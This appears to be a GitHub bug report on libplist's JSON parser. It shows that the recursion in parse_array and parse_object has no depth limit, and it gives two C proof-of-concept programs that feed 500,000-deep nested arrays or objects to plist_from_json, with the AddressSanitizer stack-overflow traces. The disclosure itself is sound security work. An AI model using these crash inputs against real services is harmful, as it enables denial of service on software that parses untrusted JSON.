Skip to content

stack overflow in jplist.c #292

@unbengable12

Description

@unbengable12

Description

When using plist_from_json to parse json strings to plist, the parse_object and parse_array recursively called have no limit on the number of recursion levels, resulting in stack overflow.

PoC1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>
int main() {
    size_t depth = 500000;
    size_t len = depth * 2 + 1; 
    char *json_str = malloc(len + 1);
    if (!json_str) return 1;
    for (size_t i = 0; i < depth; i++) json_str[i] = '[';
    for (size_t i = depth; i < depth * 2; i++) json_str[i] = ']';
    json_str[depth * 2] = '\0';
    plist_t root = NULL;
    plist_err_t err = plist_from_json(json_str, (uint32_t)strlen(json_str), &root);
    if (err == PLIST_ERR_SUCCESS) {
        plist_free(root);
    } 
    free(json_str);
    return 0;
}

ASAN Output1

AddressSanitizer:DEADLYSIGNAL
=================================================================
==2247825==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc46a83ff8 (pc 0x74cc160d5912 bp 0x000000000000 sp 0x7ffc46a83ff0 T0)
    #0 0x74cc160d5912 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepotbase.h:105
    #1 0x74cc160d53cb in __sanitizer::StackDepotPut(__sanitizer::StackTrace) ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepot.cpp:98
    #2 0x74cc1602c50a in __asan::Allocator::Allocate(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType, bool) ../../../../src/libsanitizer/asan/asan_allocator.cpp:573
    #3 0x74cc160281ff in __asan::Allocator::Calloc(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*) ../../../../src/libsanitizer/asan/asan_allocator.cpp:748
    #4 0x74cc160281ff in __asan::asan_calloc(unsigned long, unsigned long, __sanitizer::BufferedStackTrace*) ../../../../src/libsanitizer/asan/asan_allocator.cpp:984
    #5 0x74cc160b4a34 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:155
    #6 0x74cc16a5a958 in plist_new_plist_data .../libplist/src/plist.c:361
    #7 0x74cc16a5ae65 in plist_new_array .../src/plist.c:445
    #8 0x74cc16a47128 in parse_array ../src/jplist.c:690
    #9 0x74cc16a47439 in parse_array ../src/jplist.c:706
    [...]
SUMMARY: AddressSanitizer: stack-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_stackdepotbase.h:105 in __sanitizer::StackDepotBase<__sanitizer::StackDepotNode, 1, 20>::Put(__sanitizer::StackTrace, bool*)
==2247825==ABORTING

PoC2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <plist/plist.h>

int main() {
    int depth = 500000;
    size_t total_len = (depth * 5) + 2 + (depth * 1) + 1;
    char *json_str = (char *)malloc(total_len);
    if (!json_str) {
        return 1;
    }
    char *ptr = json_str;
    for (int i = 0; i < depth; i++) {
        memcpy(ptr, "{\"a\":", 5);
        ptr += 5;
    }
    memcpy(ptr, "{}", 2);
    ptr += 2;
    for (int i = 0; i < depth; i++) {
        *ptr = '}';
        ptr++;
    }
    *ptr = '\0';
    plist_t root = NULL;
    plist_err_t err = plist_from_json(json_str, (uint32_t)total_len, &root);
    if (err == PLIST_ERR_SUCCESS) {
        plist_free(root);
    } 
    free(json_str);
    return 0;
}

ASAN Output2

AddressSanitizer:DEADLYSIGNAL
=================================================================
==2254519==ERROR: AddressSanitizer: stack-overflow on address 0x7ffc6c986ff8 (pc 0x75320b6d5c30 bp 0x7ffc6c987000 sp 0x7ffc6c987000 T0)
    <empty stack>

SUMMARY: AddressSanitizer: stack-overflow
==2254519==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions